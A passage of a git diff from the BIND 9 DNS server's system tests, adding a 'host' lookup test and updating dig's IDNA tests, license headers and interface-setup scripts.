+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 3600
+
+@		86400	IN SOA	ns1 hostmaster (
+					1397051952 ; "SER0"
+					5
+					5
+					1814400
+					3600 )
+@			NS	ns1
+ns1			A	10.53.0.1
+
+a-only			A	1.2.3.4
+aaaa-only		AAAA	2001::ffff
+
+dual			A	1.2.3.4
+			AAAA	2001::ffff
+
+cname-a-only		CNAME	a-only
+cname-aaaa-only		CNAME	aaaa-only
+cname-dual		CNAME	dual
diff --git a/bin/tests/system/host/ns1/named.conf.in b/bin/tests/system/host/ns1/named.conf.in
new file mode 100644
index 0000000000..8338a9cb82
--- /dev/null
+++ b/bin/tests/system/host/ns1/named.conf.in
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	recursion no;
+	dnssec-validation no;
+};
+
+zone "example" {
+	type primary;
+	file "example.db";
+};
+
+zone "example.net" {
+	type primary;
+	file "example.net.db";
+};
diff --git a/bin/tests/system/host/setup.sh b/bin/tests/system/host/setup.sh
new file mode 100644
index 0000000000..754d4f36d4
--- /dev/null
+++ b/bin/tests/system/host/setup.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+set -e
+
+. ../conf.sh
+
+$SHELL clean.sh
+
+$SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 1 >ns1/example.db
+
+copy_setports ns1/named.conf.in ns1/named.conf
diff --git a/bin/tests/system/host/tests.sh b/bin/tests/system/host/tests.sh
new file mode 100644
index 0000000000..c640a403b9
--- /dev/null
+++ b/bin/tests/system/host/tests.sh
@@ -0,0 +1,128 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+set -e
+
+# shellcheck disable=SC2086
+. ../conf.sh
+
+status=0
+n=0
+
+n=$((n+1))
+echo_i "Check A only lookup ($n)"
+ret=0
+$HOST -p ${PORT} a-only.example.net 10.53.0.1 2> host.err${n} > host.out${n} || ret=1
+lines=$(wc -l < host.err${n})
+test $lines -eq 0 || ret=1
+lines=$(grep -c "Address:" host.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c a-only.example.net host.out${n})
+test $lines -eq 1 || ret=1
+grep "1.2.3.4" host.out${n} > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Check AAAA only lookup ($n)"
+ret=0
+$HOST -p ${PORT} aaaa-only.example.net 10.53.0.1 2> host.err${n} > host.out${n} || ret=1
+lines=$(wc -l < host.err${n})
+test $lines -eq 0 || ret=1
+lines=$(grep -c "Address:" host.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c aaaa-only.example.net host.out${n})
+test $lines -eq 1 || ret=1
+grep "2001::ffff" host.out${n} > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Check dual A + AAAA lookup ($n)"
+ret=0
+$HOST -p ${PORT} dual.example.net 10.53.0.1 2> host.err${n} > host.out${n} || ret=1
+lines=$(wc -l < host.err${n})
+test $lines -eq 0 || ret=1
+lines=$(grep -c "Address:" host.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c dual.example.net host.out${n})
+test $lines -eq 2 || ret=1
+grep "1.2.3.4" host.out${n} > /dev/null || ret=1
+grep "2001::ffff" host.out${n} > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Check CNAME to A only lookup ($n)"
+ret=0
+$HOST -p ${PORT} cname-a-only.example.net 10.53.0.1 2> host.err${n} > host.out${n} || ret=1
+lines=$(wc -l < host.err${n})
+test $lines -eq 0 || ret=1
+lines=$(grep -c "Address:" host.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c "cname-a-only.example.net is an alias for a-only.example.net" host.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep a-only.example.net host.out${n} | grep -cv "is an alias for")
+test $lines -eq 1 || ret=1
+grep "1.2.3.4" host.out${n} > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Check CNAME to AAAA only lookup ($n)"
+ret=0
+$HOST -p ${PORT} cname-aaaa-only.example.net 10.53.0.1 2> host.err${n} > host.out${n} || ret=1
+lines=$(wc -l < host.err${n})
+test $lines -eq 0 || ret=1
+lines=$(grep -c "Address:" host.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c "cname-aaaa-only.example.net is an alias for aaaa-only.example.net" host.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep aaaa-only.example.net host.out${n} | grep -cv "is an alias for")
+test $lines -eq 1 || ret=1
+grep "2001::ffff" host.out${n} > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Check CNAME to dual A + AAAA lookup ($n)"
+ret=0
+$HOST -p ${PORT} cname-dual.example.net 10.53.0.1 2> host.err${n} > host.out${n} || ret=1
+lines=$(wc -l < host.err${n})
+test $lines -eq 0 || ret=1
+lines=$(grep -c "Address:" host.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c "cname-dual.example.net is an alias for dual.example.net." host.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c "dual.example.net has address 1.2.3.4" host.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c "dual.example.net has IPv6 address 2001::ffff" host.out${n})
+test $lines -eq 1 || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "Check ANY lookup ($n)"
+ret=0
+$HOST -p ${PORT} -t ANY example.net 10.53.0.1 2> host.err${n} > host.out${n} || ret=1
+lines=$(grep -c 'Address:.10\.53\.0\.1#'"${PORT}" host.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c 'example.net has SOA record ns1.example.net. hostmaster.example.net. 1397051952 5 5 1814400 3600' host.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c 'example.net name server ns1.example.net.' host.out${n})
+test $lines -eq 1 || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "exit status: $status"
+[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/idna/clean.sh b/bin/tests/system/idna/clean.sh
index 8af4bc32f3..f99ecb5f50 100644
--- a/bin/tests/system/idna/clean.sh
+++ b/bin/tests/system/idna/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/idna/ns1/named.conf.in b/bin/tests/system/idna/ns1/named.conf.in
index ff1317892e..df552bd021 100644
--- a/bin/tests/system/idna/ns1/named.conf.in
+++ b/bin/tests/system/idna/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/idna/ns1/root.db b/bin/tests/system/idna/ns1/root.db
index 76ed2a0310..b43cc40390 100644
--- a/bin/tests/system/idna/ns1/root.db
+++ b/bin/tests/system/idna/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/idna/setup.sh b/bin/tests/system/idna/setup.sh
index 7e31a69049..2ac2ce8f0d 100644
--- a/bin/tests/system/idna/setup.sh
+++ b/bin/tests/system/idna/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/idna/tests.sh b/bin/tests/system/idna/tests.sh
index 6b91dd6769..08d4ad7d5d 100644
--- a/bin/tests/system/idna/tests.sh
+++ b/bin/tests/system/idna/tests.sh
@@ -1,12 +1,18 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 # Set known locale for the tests
@@ -20,17 +26,6 @@ export LC_ALL
 
 # This set of tests check the behavior of the IDNA options in "dig".
 #
-# "dig" supports two IDNA-related options:
-#
-# +[no]idnin -  Translates a domain name into punycode format before sending
-#               the query to the server.
-#
-#               Should the input name be a punycode name, "dig +idnin" will also
-#               validate the punycode, rejecting it if it is invalid.
-#
-# +[no]idnout - Translates the received punycode domain names into appropriate
-#               unicode characters before displaying.
-#
 # The tests run "dig" against an authoritative server configured with a minimal
 # root zone and nothing else.  As a result, all queries will result in an
 # NXDOMAIN.  The server will return the qname sent, which "dig" will display
@@ -90,7 +85,7 @@ qname() {
 #        parameter should have that period as well.
 
 idna_test() {
-    n=`expr $n + 1`
+    n=$((n+1))
     description=$1
     if [ "$2" != "" ]; then
         description="${description}: $2"
@@ -98,18 +93,18 @@ idna_test() {
     echo_i "$description ($n)"
 
     ret=0
-    $DIGCMD $2 $3 > dig.out.$n 2>&1
-    if [ $? -ne 0 ]; then
+    { $DIGCMD $2 $3 > dig.out.$n 2>&1; rc=$?; } || true
+    if [ $rc -ne 0 ]; then
         echo_i "failed: dig command returned non-zero status"
         ret=1
     else
-        actual=`qname dig.out.$n`
+        actual=$(qname dig.out.$n)
         if [ "$4" != "$actual" ]; then
             echo_i "failed: expected answer $4, actual result $actual"
             ret=1
         fi
     fi
-    status=`expr $status + $ret`
+    status=$((status+ret))
 }
 
 # Function for performing a test where "dig" is expected to fail
@@ -119,7 +114,7 @@ idna_test() {
 #   $3 - Name being queried
 
 idna_fail() {
-    n=`expr $n + 1`
+    n=$((n+1))
     description=$1
     if [ "$2" != "" ]; then
         description="${description}: $2"
@@ -127,12 +122,12 @@ idna_fail() {
     echo_i "$description ($n)"
 
     ret=0
-    $DIGCMD $2 $3 > dig.out.$n 2>&1
-    if [ $? -eq 0 ]; then
+    { $DIGCMD $2 $3 > dig.out.$n 2>&1; rc=$?; } || true
+    if [ $rc -eq 0 ]; then
         echo_i "failed: dig command unexpectedly succeeded"
         ret=1
     fi
-    status=`expr $status + $ret`
+    status=$((status+ret))
 }
 
 # Function to check that case is preserved for an all-ASCII label.
@@ -154,11 +149,12 @@ idna_fail() {
 
 ascii_case_preservation_test() {
     text="Checking valid ASCII label"
-    idna_test "$text" ""                   LocalhosT LocalhosT.
+    idna_test "$text" "+noidn"             LocalhosT LocalhosT.
     idna_test "$text" "+noidnin +noidnout" LocalhosT LocalhosT.
     idna_test "$text" "+noidnin +idnout"   LocalhosT LocalhosT.
     idna_test "$text" "+idnin   +noidnout" LocalhosT LocalhosT.
     idna_test "$text" "+idnin   +idnout"   LocalhosT LocalhosT.
+    idna_test "$text" "+idn"               LocalhosT LocalhosT.
 }
 
 # Function to perform the tests if IDNA is enabled.
@@ -184,12 +180,12 @@ idna_enabled_test() {
     # Note that ASCII characters are converted to lower-case.
 
     text="Checking valid non-ASCII label"
-    idna_test "$text" ""                   "MÃŧnchen" "M\195\188nchen."
+    idna_test "$text" "+noidn"             "MÃŧnchen" "M\195\188nchen."
     idna_test "$text" "+noidnin +noidnout" "MÃŧnchen" "M\195\188nchen."
     idna_test "$text" "+noidnin +idnout"   "MÃŧnchen" "M\195\188nchen."
     idna_test "$text" "+idnin   +noidnout" "MÃŧnchen" "xn--mnchen-3ya."
     idna_test "$text" "+idnin   +idnout"   "MÃŧnchen" "mÃŧnchen."
-
+    idna_test "$text" "+idn"               "MÃŧnchen" "mÃŧnchen."
 
     # Tests of transitional processing of a valid U-label
     #
@@ -204,28 +200,28 @@ idna_enabled_test() {
     # under IDNA2003, go to www.fass.example but under IDNA2008 would end up at
     # www.fa\195\159.example - a different web site).
     #
-    # BIND has adopted a hard transition, so this test checks that these
-    # transitional mapping is not used.  The tests are essentially the same as
-    # for the valid U-label.
+    # BIND has adopted a (mostly) hard transition, so this test checks that
+    # the transitional mapping is not used for characters that are valid in
+    # IDNA2008. The tests are essentially the same as for the valid U-label.
 
     text="Checking that non-transitional IDNA processing is used"
-    idna_test "$text" ""                   "faß.de" "fa\195\159.de."
+    idna_test "$text" "+noidn"             "faß.de" "fa\195\159.de."
     idna_test "$text" "+noidnin +noidnout" "faß.de" "fa\195\159.de."
     idna_test "$text" "+noidnin +idnout"   "faß.de" "fa\195\159.de."
     idna_test "$text" "+idnin   +noidnout" "faß.de" "xn--fa-hia.de."
     idna_test "$text" "+idnin   +idnout"   "faß.de" "faß.de."
+    idna_test "$text" "+idn"               "faß.de" "faß.de."
 
     # Another problem character.  The final character in the first label mapped
     # onto the Greek sigma character ("Īƒ") in IDNA2003.
 
     text="Second check that non-transitional IDNA processing is used"
-    idna_test "$text" ""                   "βĪŒÎģÎŋĪ‚.com" "\206\178\207\140\206\187\206\191\207\130.com."
+    idna_test "$text" "+noidn"             "βĪŒÎģÎŋĪ‚.com" "\206\178\207\140\206\187\206\191\207\130.com."
     idna_test "$text" "+noidnin +noidnout" "βĪŒÎģÎŋĪ‚.com" "\206\178\207\140\206\187\206\191\207\130.com."
     idna_test "$text" "+noidnin +idnout"   "βĪŒÎģÎŋĪ‚.com" "\206\178\207\140\206\187\206\191\207\130.com."
     idna_test "$text" "+idnin   +noidnout" "βĪŒÎģÎŋĪ‚.com" "xn--nxasmm1c.com."
     idna_test "$text" "+idnin   +idnout"   "βĪŒÎģÎŋĪ‚.com" "βĪŒÎģÎŋĪ‚.com."
-
-
+    idna_test "$text" "+idn"               "βĪŒÎģÎŋĪ‚.com" "βĪŒÎģÎŋĪ‚.com."
 
     # Tests of a valid A-label (i.e. starting xn--)
     #
@@ -237,11 +233,12 @@ idna_enabled_test() {
     # The "+[no]idnin" flag has no effect in these cases.
 
     text="Checking valid A-label"
-    idna_test "$text" ""                   "xn--nxasmq6b.com" "xn--nxasmq6b.com."
+    idna_test "$text" "+noidn"             "xn--nxasmq6b.com" "xn--nxasmq6b.com."
     idna_test "$text" "+noidnin +noidnout" "xn--nxasmq6b.com" "xn--nxasmq6b.com."
     idna_test "$text" "+noidnin +idnout"   "xn--nxasmq6b.com" "βĪŒÎģÎŋĪƒ.com."
     idna_test "$text" "+idnin +noidnout"   "xn--nxasmq6b.com" "xn--nxasmq6b.com."
     idna_test "$text" "+idnin +idnout"     "xn--nxasmq6b.com" "βĪŒÎģÎŋĪƒ.com."
+    idna_test "$text" "+idn"               "xn--nxasmq6b.com" "βĪŒÎģÎŋĪƒ.com."
 
     # Test of valid A-label in locale that cannot display it
     #
@@ -256,17 +253,16 @@ idna_enabled_test() {
     text="Checking valid A-label in C locale"
     label="xn--nxasmq6b.com"
     if command -v idn2 >/dev/null && ! idn2 -d "$label" >/dev/null 2>/dev/null; then
-	idna_test "$text" ""                   "$label" "$label."
+	idna_test "$text" "+noidn"             "$label" "$label."
 	idna_test "$text" "+noidnin +noidnout" "$label" "$label."
 	idna_test "$text" "+noidnin +idnout"   "$label" "$label."
 	idna_test "$text" "+idnin +noidnout"   "$label" "$label."
 	idna_test "$text" "+idnin +idnout"     "$label" "$label."
 	idna_test "$text" "+noidnin +idnout"   "$label" "$label."
+	idna_test "$text" "+idn"               "$label" "$label."
     fi
     LC_ALL="${saved_LC_ALL}"
 
-
-
     # Tests of invalid A-labels
     #
     # +noidnin: The label is sent as-is to the server and dig will display the
@@ -275,45 +271,48 @@ idna_enabled_test() {
     #
     # +[no]idnout: If the label makes it to the server (via +noidnin), "dig"
     #           should report an error if +idnout is specified.
+    #
+    # +idn=lax: The label is sent and printed as-is.
 
     # The minimum length of a punycode A-label is 7 characters.  Check that
     # a shorter label is detected and rejected.
 
     text="Checking punycode label shorter than minimum valid length"
-    idna_test "$text" ""                   "xn--xx" "xn--xx."
+    idna_test "$text" "+noidn"             "xn--xx" "xn--xx."
     idna_test "$text" "+noidnin +noidnout" "xn--xx" "xn--xx."
-    idna_fail "$text" "+noidnin   +idnout" "xn--xx"
-    idna_fail "$text" "+idnin   +noidnout" "xn--xx"
-    idna_fail "$text" "+idnin     +idnout" "xn--xx"
+    idna_test "$text" "+noidnin   +idnout" "xn--xx" "xn--xx."
+    idna_test "$text" "+idnin   +noidnout" "xn--xx" "xn--xx."
+    idna_test "$text" "+idnin     +idnout" "xn--xx" "xn--xx."
+    idna_test "$text" "+idn"               "xn--xx" "xn--xx."
 
     # Fake A-label - the string does not translate to anything.
+    # "xn--0000h" decodes to a single "code point" value of U+127252
+    # (1,208,914) which is not a legal Unicode code point.
+    # (https://www.farsightsecurity.com/blog/txt-record/punycode-20180711/)
 
     text="Checking fake A-label"
-    idna_test "$text" ""                   "xn--ahahah" "xn--ahahah."
-    idna_test "$text" "+noidnin +noidnout" "xn--ahahah" "xn--ahahah."
-    idna_fail "$text" "+noidnin   +idnout" "xn--ahahah"
-    idna_fail "$text" "+idnin   +noidnout" "xn--ahahah"
-    idna_fail "$text" "+idnin     +idnout" "xn--ahahah"
+    idna_test "$text" "+noidn"             "xn--0000h" "xn--0000h."
+    idna_test "$text" "+noidnin +noidnout" "xn--0000h" "xn--0000h."
+    idna_test "$text" "+noidnin   +idnout" "xn--0000h" "xn--0000h."
+    idna_test "$text" "+idnin   +noidnout" "xn--0000h" "xn--0000h."
+    idna_test "$text" "+idnin     +idnout" "xn--0000h" "xn--0000h."
+    idna_test "$text" "+idn"               "xn--0000h" "xn--0000h."
 
     # Too long a label. The punycode string is too long (at 64 characters).
     # BIND rejects such labels: with +idnin
 
     label="xn--xflod18hstflod18hstflod18hstflod18hstflod18hstflod18-1iejjjj"
     text="Checking punycode label longer than maximum valid length"
-    idna_fail "$text" ""                   "$label"
+    idna_fail "$text" "+noidn"             "$label"
     idna_fail "$text" "+noidnin +noidnout" "$label"
     idna_fail "$text" "+noidnin   +idnout" "$label"
     idna_fail "$text" "+idnin   +noidnout" "$label"
     idna_fail "$text" "+idnin     +idnout" "$label"
-
-
-
+    idna_fail "$text" "+idn"               "$label"
 
     # Tests of a valid unicode string but an invalid U-label (input)
     #
-    # Symbols are not valid IDNA2008 names.  Check whether dig rejects them
-    # when they are supplied on the command line to ensure no IDNA2003
-    # fallbacks are in place.
+    # Symbols are not valid IDNA2008 names, but are allowed by IDNA2003.
     #
     # +noidnin: "dig" should send unicode octets to the server and display the
     #           returned qname in the same form.
@@ -322,22 +321,16 @@ idna_enabled_test() {
     # The +[no]idnout options should not have any effect on the test.
 
     text="Checking invalid input U-label"
-    idna_test "$text" ""                   "√.com" "\226\136\154.com."
+    idna_test "$text" "+noidn"             "√.com" "\226\136\154.com."
     idna_test "$text" "+noidnin +noidnout" "√.com" "\226\136\154.com."
     idna_test "$text" "+noidnin +idnout"   "√.com" "\226\136\154.com."
-    idna_fail "$text" "+idnin   +noidnout" "√.com"
-    idna_fail "$text" "+idnin   +idnout"   "√.com"
+    idna_test "$text" "+idnin   +noidnout" "√.com" "xn--19g.com."
+    idna_test "$text" "+idnin   +idnout"   "√.com" "√.com."
+    idna_test "$text" "+idn"               "√.com" "√.com."
 
     # Tests of a valid unicode string but an invalid U-label (output)
     #
-    # Symbols are not valid IDNA2008 names.  Check whether dig rejects them
-    # when they are received in DNS responses to ensure no IDNA2003 fallbacks
-    # are in place.
-    #
-    # Note that "+idnin +noidnout" is not tested because libidn2 2.2.0+ parses
-    # Punycode more strictly than older versions and thus dig fails with that
-    # combination of options with libidn2 2.2.0+ but succeeds with older
-    # versions.
+    # Symbols are not valid IDNA2008 names, but are allowed by IDNA2003.
     #
     # +noidnout: "dig" should send the ACE string to the server and display the
     #            returned qname.
@@ -346,10 +339,32 @@ idna_enabled_test() {
     # The +[no]idnin options should not have any effect on the test.
 
     text="Checking invalid output U-label"
-    idna_test "$text" ""                   "xn--19g" "xn--19g."
+    idna_test "$text" "+noidn"             "xn--19g" "xn--19g."
     idna_test "$text" "+noidnin +noidnout" "xn--19g" "xn--19g."
-    idna_fail "$text" "+noidnin +idnout"   "xn--19g"
-    idna_fail "$text" "+idnin   +idnout"   "xn--19g"
+    idna_test "$text" "+noidnin +idnout"   "xn--19g" "√."
+    idna_test "$text" "+idnin   +noidnout" "xn--19g" "xn--19g."
+    idna_test "$text" "+idnin   +idnout"   "xn--19g" "√."
+    idna_test "$text" "+idn"               "xn--19g" "√."
+
+    # Test that non-letter characters are preserved in the output.  When
+    # UseSTD3ASCIIRules are enabled, it would mangle non-letter characters like
+    # `_` (underscore) and `*` (wildcard.
+
+    text="Checking valid non-letter characters"
+    idna_test "$text" "+noidn"             "*.xn--nxasmq6b.com" "*.xn--nxasmq6b.com."
+    idna_test "$text" "+noidnin +noidnout" "*.xn--nxasmq6b.com" "*.xn--nxasmq6b.com."
+    idna_test "$text" "+noidnin +idnout"   "*.xn--nxasmq6b.com" "*.βĪŒÎģÎŋĪƒ.com."
+    idna_test "$text" "+idnin +noidnout"   "*.xn--nxasmq6b.com" "*.xn--nxasmq6b.com."
+    idna_test "$text" "+idnin +idnout"     "*.xn--nxasmq6b.com" "*.βĪŒÎģÎŋĪƒ.com."
+    idna_test "$text" "+idn"               "*.xn--nxasmq6b.com" "*.βĪŒÎģÎŋĪƒ.com."
+
+    idna_test "$text" "+noidn"             "_tcp.xn--nxasmq6b.com" "_tcp.xn--nxasmq6b.com."
+    idna_test "$text" "+noidnin +noidnout" "_tcp.xn--nxasmq6b.com" "_tcp.xn--nxasmq6b.com."
+    idna_test "$text" "+noidnin +idnout"   "_tcp.xn--nxasmq6b.com" "_tcp.βĪŒÎģÎŋĪƒ.com."
+    idna_test "$text" "+idnin +noidnout"   "_tcp.xn--nxasmq6b.com" "_tcp.xn--nxasmq6b.com."
+    idna_test "$text" "+idnin +idnout"     "_tcp.xn--nxasmq6b.com" "_tcp.βĪŒÎģÎŋĪƒ.com."
+    idna_test "$text" "+idn=strict"        "_tcp.xn--nxasmq6b.com" "_tcp.βĪŒÎģÎŋĪƒ.com."
+    idna_test "$text" "+idn=lax"           "_tcp.xn--nxasmq6b.com" "_tcp.βĪŒÎģÎŋĪƒ.com."
 }
 
 
@@ -363,8 +378,7 @@ idna_disabled_test() {
 
 # Main test begins here
 
-$FEATURETEST --with-idn
-if [ $? -eq 0 ]; then
+if $FEATURETEST --with-libidn2; then
     idna_enabled_test
 else
     idna_disabled_test
diff --git a/bin/tests/system/idna/tests_sh_idna.py b/bin/tests/system/idna/tests_sh_idna.py
new file mode 100644
index 0000000000..82a640ceae
--- /dev/null
+++ b/bin/tests/system/idna/tests_sh_idna.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_idna(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/ifconfig.bat b/bin/tests/system/ifconfig.bat
deleted file mode 100644
index 3d31c8dd60..0000000000
--- a/bin/tests/system/ifconfig.bat
+++ /dev/null
@@ -1,44 +0,0 @@
-echo off
-rem
-rem Copyright (C) 2016  Internet Systems Consortium, Inc. ("ISC")
-rem 
-rem This Source Code Form is subject to the terms of the Mozilla Public
-rem License, v. 2.0. If a copy of the MPL was not distributed with this
-rem file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-rem ifconfig.bat
-rem Set up interface aliases for bind9 system tests.
-rem
-rem IPv4: 10.53.0.{1..10}			RFC 1918
-rem       10.53.1.{1..2}
-rem       10.53.2.{1..2}
-rem IPv6: fd92:7065:b8e:ffff::{1..10}		ULA
-rem       fd92:7065:b8e:99ff::{1..2}
-rem       fd92:7065:b8e:ff::{1..2}
-rem
-echo Please adapt this script to your system
-rem remove the following line when the script is ready
-exit /b 1
-
-rem for IPv4 adding these static addresses to a physical interface
-rem will switch it from DHCP to static flushing DHCP setup.
-rem So it is highly recommended to install the loopback pseudo-interface
-rem and add IPv4 addresses to it.
-
-rem for IPv6 your interface can have a different name, e.g.,
-rem "Local Area Connection". Please update this script and remove the
-rem exit line
-
-echo on
-
-FOR %%I IN (1,2,3,4,5,6,7,8,9,10) DO (
-	netsh interface ipv4 add address name=Loopback 10.53.0.%%I 255.255.255.0
-	netsh interface ipv6 add address interface=Loopback fd92:7065:b8e:ffff::%%I/64
-)
-FOR %%I IN (1,2) DO (
-	netsh interface ipv4 add address name=Loopback 10.53.1.%%I 255.255.255.0
-	netsh interface ipv4 add address name=Loopback 10.53.2.%%I 255.255.255.0
-
-	netsh interface ipv6 add address interface=Loopback fd92:7065:b8e:99ff::%%I/64
-	netsh interface ipv6 add address interface=Loopback fd92:7065:b8e:ff::%%I/64
-)
diff --git a/bin/tests/system/ifconfig.sh.in b/bin/tests/system/ifconfig.sh.in
index 52b4a5796d..ed84fd19d7 100755
--- a/bin/tests/system/ifconfig.sh.in
+++ b/bin/tests/system/ifconfig.sh.in
@@ -2,9 +2,11 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
@@ -12,13 +14,20 @@
 #
 # Set up interface aliases for bind9 system tests.
 #
-# IPv4: 10.53.0.{1..10}				RFC 1918
+# IPv4: 10.53.0.{1..11}				RFC 1918
 #       10.53.1.{1..2}
 #       10.53.2.{1..2}
-# IPv6: fd92:7065:b8e:ffff::{1..10}		ULA
+# IPv6: fd92:7065:b8e:ffff::{1..11}		ULA
 #       fd92:7065:b8e:99ff::{1..2}
 #       fd92:7065:b8e:ff::{1..2}
 #
+# We also set the MTU on the 1500 bytes to match the default MTU on physical
+# interfaces, so we can properly test the cases with packets bigger than
+# interface MTU.
+#
+# See also org.isc.bind.system (a version of this script for use on macOS)
+# and testsock.pl (which checks the interfaces are configured)
+#
 
 top_srcdir=@abs_top_srcdir@
 
@@ -38,10 +47,200 @@ case "$sys" in
                 ;;
 esac
 
-case "$1" in
+up() {
+	case "$sys" in
+	    *-pc-solaris2.5.1)
+		[ "$a" ] && ifconfig lo0:$int $a netmask 0xffffffff up
+		;;
+	    *-sun-solaris2.[6-7])
+		[ "$a" ] && ifconfig lo0:$int $a netmask 0xffffffff up
+		;;
